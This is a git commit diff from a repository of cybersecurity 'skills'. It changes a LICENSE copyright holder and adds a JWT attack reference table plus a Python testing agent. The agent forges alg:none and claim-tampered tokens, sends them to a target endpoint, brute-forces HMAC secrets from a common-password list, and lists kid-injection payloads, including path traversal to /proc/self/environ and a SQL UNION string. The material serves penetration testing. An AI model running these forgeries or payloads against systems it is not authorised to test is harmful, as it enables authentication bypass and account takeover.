Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal

- Add scripts/agent.py and references/api-reference.md to all remaining skills
- Update all 648 LICENSE files: copyright now reads 'Mahipal'
- Add implementing-security-monitoring-with-datadog (new skill with full anatomy)
- All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
This commit is contained in:
mukul975
2026-03-11 00:22:12 +01:00
parent 27c6414ca5
commit c21af3347e
1244 changed files with 61622 additions and 723 deletions
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,59 @@
# API Reference: Testing for JSON Web Token Vulnerabilities
## JWT Attack Types
| Attack | Severity | Description |
|--------|----------|-------------|
| alg:none bypass | Critical | Remove signature verification |
| Weak HMAC secret | Critical | Brute-force signing key |
| Algorithm confusion | Critical | RS256 -> HS256 with public key |
| kid injection | High | Path traversal/SQLi in kid |
| jku spoofing | High | Point JWKS to attacker server |
| Claim tampering | High | Modify role/sub without re-sign |
| Missing exp | High | Token never expires |
## JWT Structure
| Part | Content | Example |
|------|---------|---------|
| Header | Algorithm, type, kid | `{"alg":"HS256","typ":"JWT"}` |
| Payload | Claims (sub, exp, iat, iss) | `{"sub":"1001","role":"user"}` |
| Signature | HMAC or RSA signature | Base64url encoded |
## JWT Testing Tools
| Tool | Purpose |
|------|---------|
| jwt_tool | 12+ attack modes for JWT testing |
| hashcat -m 16500 | GPU JWT HMAC secret cracking |
| Burp JWT Editor | Interactive JWT manipulation |
| jwt.io | Online JWT decoder |
| john | CPU-based JWT secret cracking |
## Standard Claims
| Claim | Required | Purpose |
|-------|----------|---------|
| iss | Yes | Issuer identifier |
| sub | Yes | Subject (user ID) |
| aud | Yes | Intended audience |
| exp | Yes | Expiration time |
| iat | Recommended | Issued at time |
| nbf | Optional | Not before time |
| jti | Optional | JWT ID (replay prevention) |
## Python Libraries
| Library | Version | Purpose |
|---------|---------|---------|
| `base64` | stdlib | JWT encoding/decoding |
| `hmac` | stdlib | HMAC signature generation |
| `hashlib` | stdlib | Hash functions |
| `json` | stdlib | JSON parsing |
| `requests` | >=2.28 | Token testing against APIs |
## References
- jwt_tool: https://github.com/ticarpi/jwt_tool
- PortSwigger JWT: https://portswigger.net/web-security/jwt
- RFC 7519: https://www.rfc-editor.org/rfc/rfc7519
@@ -0,0 +1,213 @@
#!/usr/bin/env python3
"""Agent for testing JSON Web Token vulnerabilities.
Tests JWT implementations for algorithm confusion, none algorithm
bypass, weak HMAC secrets, kid injection, missing claims, and
token forgery to detect authentication bypass risks.
"""
import json
import base64
import hmac
import hashlib
import sys
from pathlib import Path
from datetime import datetime
try:
import requests
except ImportError:
requests = None
COMMON_SECRETS = [
"secret", "password", "123456", "jwt_secret", "supersecret",
"key", "changeme", "default", "your-256-bit-secret",
"my-secret-key", "jwt-secret", "s3cr3t", "secret123",
"apisecret", "qwerty", "letmein", "1234567890",
]
class JWTTestAgent:
"""Tests JWT implementations for security vulnerabilities."""
def __init__(self, base_url=None, output_dir="./jwt_test"):
self.base_url = base_url.rstrip("/") if base_url else None
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def decode_jwt(self, token):
"""Decode JWT header and payload without verification."""
parts = token.split(".")
if len(parts) != 3:
return None, None, None
def pad(s):
return s + "=" * (4 - len(s) % 4)
try:
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
return header, payload, parts[2]
except Exception:
return None, None, None
def analyze_token(self, token):
"""Analyze JWT for security issues."""
header, payload, sig = self.decode_jwt(token)
if not header:
return {"error": "Invalid JWT"}
issues = []
alg = header.get("alg", "")
if alg == "none":
issues.append({"severity": "critical", "issue": "alg set to 'none'"})
if alg in ("HS256", "HS384", "HS512"):
issues.append({"severity": "info", "issue": f"Symmetric {alg} - test for weak secrets"})
if "kid" in header:
issues.append({"severity": "info", "issue": f"kid present: {header['kid']} - test for injection"})
if "jku" in header:
issues.append({"severity": "medium", "issue": f"jku present: {header['jku']} - test JWKS spoofing"})
if "exp" not in payload:
issues.append({"severity": "high", "issue": "No expiration claim"})
if "iss" not in payload:
issues.append({"severity": "medium", "issue": "No issuer claim"})
if "aud" not in payload:
issues.append({"severity": "medium", "issue": "No audience claim"})
for i in issues:
self.findings.append({"severity": i["severity"], "type": "JWT Analysis", "detail": i["issue"]})
return {"header": header, "payload": payload, "issues": issues}
def test_none_algorithm(self, token):
"""Forge token with alg:none to bypass signature."""
header, payload, _ = self.decode_jwt(token)
if not header:
return []
header["alg"] = "none"
new_header = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=")
parts = token.split(".")
variants = [
f"{new_header}.{parts[1]}.",
f"{new_header}.{parts[1]}.{parts[2]}",
f"{new_header}.{parts[1]}.e30",
]
results = []
if self.base_url and requests:
for v in variants:
resp = requests.get(f"{self.base_url}/users/me",
headers={"Authorization": f"Bearer {v}"}, timeout=10)
if resp.status_code == 200:
results.append({"variant": v[:60], "accepted": True})
self.findings.append({
"severity": "critical",
"type": "alg:none Bypass",
"detail": "Server accepts JWT with alg:none",
})
return variants
def brute_force_secret(self, token):
"""Brute-force HMAC secret against common passwords."""
header, _, _ = self.decode_jwt(token)
if not header or header.get("alg") not in ("HS256", "HS384", "HS512"):
return None
parts = token.split(".")
signing_input = f"{parts[0]}.{parts[1]}".encode()
signature = parts[2]
alg_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
h = alg_map[header["alg"]]
for secret in COMMON_SECRETS:
expected = base64.urlsafe_b64encode(
hmac.new(secret.encode(), signing_input, h).digest()
).decode().rstrip("=")
if expected == signature:
self.findings.append({
"severity": "critical",
"type": "Weak JWT Secret",
"detail": f"Secret found: '{secret}'",
})
return secret
return None
def forge_token(self, token, claims_override, secret=None):
"""Forge a JWT with modified claims."""
header, payload, _ = self.decode_jwt(token)
if not header:
return None
payload.update(claims_override)
h_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=")
p_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=")
signing_input = f"{h_b64}.{p_b64}".encode()
if secret and header.get("alg") in ("HS256", "HS384", "HS512"):
alg_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), signing_input, alg_map[header["alg"]]).digest()
).decode().rstrip("=")
return f"{h_b64}.{p_b64}.{sig}"
return f"{h_b64}.{p_b64}."
def test_kid_injection(self, token):
"""Test kid header parameter for injection."""
header, payload, _ = self.decode_jwt(token)
if not header or "kid" not in header:
return []
payloads = [
"../../dev/null",
"' UNION SELECT 'secret' --",
"/proc/self/environ",
]
results = []
for p in payloads:
results.append({"kid_payload": p, "test": "manual verification required"})
self.findings.append({
"severity": "medium",
"type": "kid Injection Candidates",
"detail": f"kid parameter present - test {len(payloads)} injection payloads",
})
return results
def generate_report(self, token=None):
analysis = None
secret = None
if token:
analysis = self.analyze_token(token)
secret = self.brute_force_secret(token)
self.test_none_algorithm(token)
self.test_kid_injection(token)
report = {
"report_date": datetime.utcnow().isoformat(),
"base_url": self.base_url,
"jwt_analysis": analysis,
"secret_found": secret,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "jwt_test_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <jwt_token> [--url <base_url>]")
sys.exit(1)
token = sys.argv[1]
url = None
if "--url" in sys.argv:
url = sys.argv[sys.argv.index("--url") + 1]
agent = JWTTestAgent(url)
agent.generate_report(token)
if __name__ == "__main__":
main()